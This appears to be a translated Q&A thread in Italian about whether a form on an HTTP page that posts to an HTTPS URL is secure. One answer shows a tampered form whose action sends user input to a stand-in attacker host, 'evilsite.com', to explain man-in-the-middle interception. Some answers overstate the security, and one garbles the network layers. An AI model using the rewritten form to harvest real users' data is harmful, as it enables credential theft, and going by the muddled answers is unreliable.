Le informazioni sono ancora crittografate se utilizzo un <form action = "https"> da una normale pagina http?

Question

Dire che sono all'URL http://mysite.com/form.html. Durante la visualizzazione di origine, vedo

<form method="post" action="https://mysite.com/process"> 
<input type="text" name="user" value="information"> 
<input type="submit"> 
</form> 

Se premo il pulsante di invio, sarà l'informazione modulo essere crittografati quando viene inviata alla pagina di processo/controllore?

Answer 1

Sì: i dati nel modulo verranno inviati crittografati utilizzando la normale stretta di mano implementata da SSL. Da lì puoi scegliere di mantenere il tuo utente sotto SSL o di ritrasferirlo a una connessione standard usando un identificatore di sessione.

Answer 2

Sarà crittografato sui livelli di rete inferiori (ad esempio pacchetti non elaborati, TCP, IP, Ethernet) non a livello di applicazione (poiché è decodificato in modo trasparente dal lato del destinatario).

Un uomo nel mezzo non vedrebbe il testo normale dei dati del modulo inviato quando l'URL di destinazione utilizza la crittografia (come fa HTTPS).

Answer 3

Sì, ma si noti che è stato fatto un notevole sforzo per addestrare gli utenti a cercare il lucchetto SSL nella pagina contenente il modulo (se la formazione è efficace è una questione diversa). I browser, in generale, si lamentano se un modulo su una pagina protetta viene inviato a una pagina non sicura, quindi questo comportamento addestrato ha uno scopo positivo.

Se si implementa il modulo in questo modo, l'utente non avrà modo di sapere che l'invio del modulo sarà sicuro (senza guardare il codice della pagina) fino a quando non viene inviato. Questo potrebbe non essere rilevante nel tuo caso d'uso, ma va contro i tentativi di addestrare le persone a cercare il lucchetto se i dati nel modulo sono tali che l'utente deve inviarlo in modo sicuro.

Answer 4

Non è possibile garantire che venga crittografato o che i dati inviati raggiungano il sito Web.

Poiché la risposta originale era su http, un man-in-the-middle avrebbe potuto alterare il codice sorgente HTML, o avrebbe potuto inserire qualche javascript per modificare il parametro di azione del modulo. Così, il vostro modulo potrebbe leggere in questo modo quando raggiunge il browser

<form method="post" action="https://evilsite.com/process"> 
<input type="text" name="user" value="information"> 
<input type="submit"> 
</form> 

Il che significa che si deve usare HTTPS su tutte le pagine, se si vuole essere sicuri.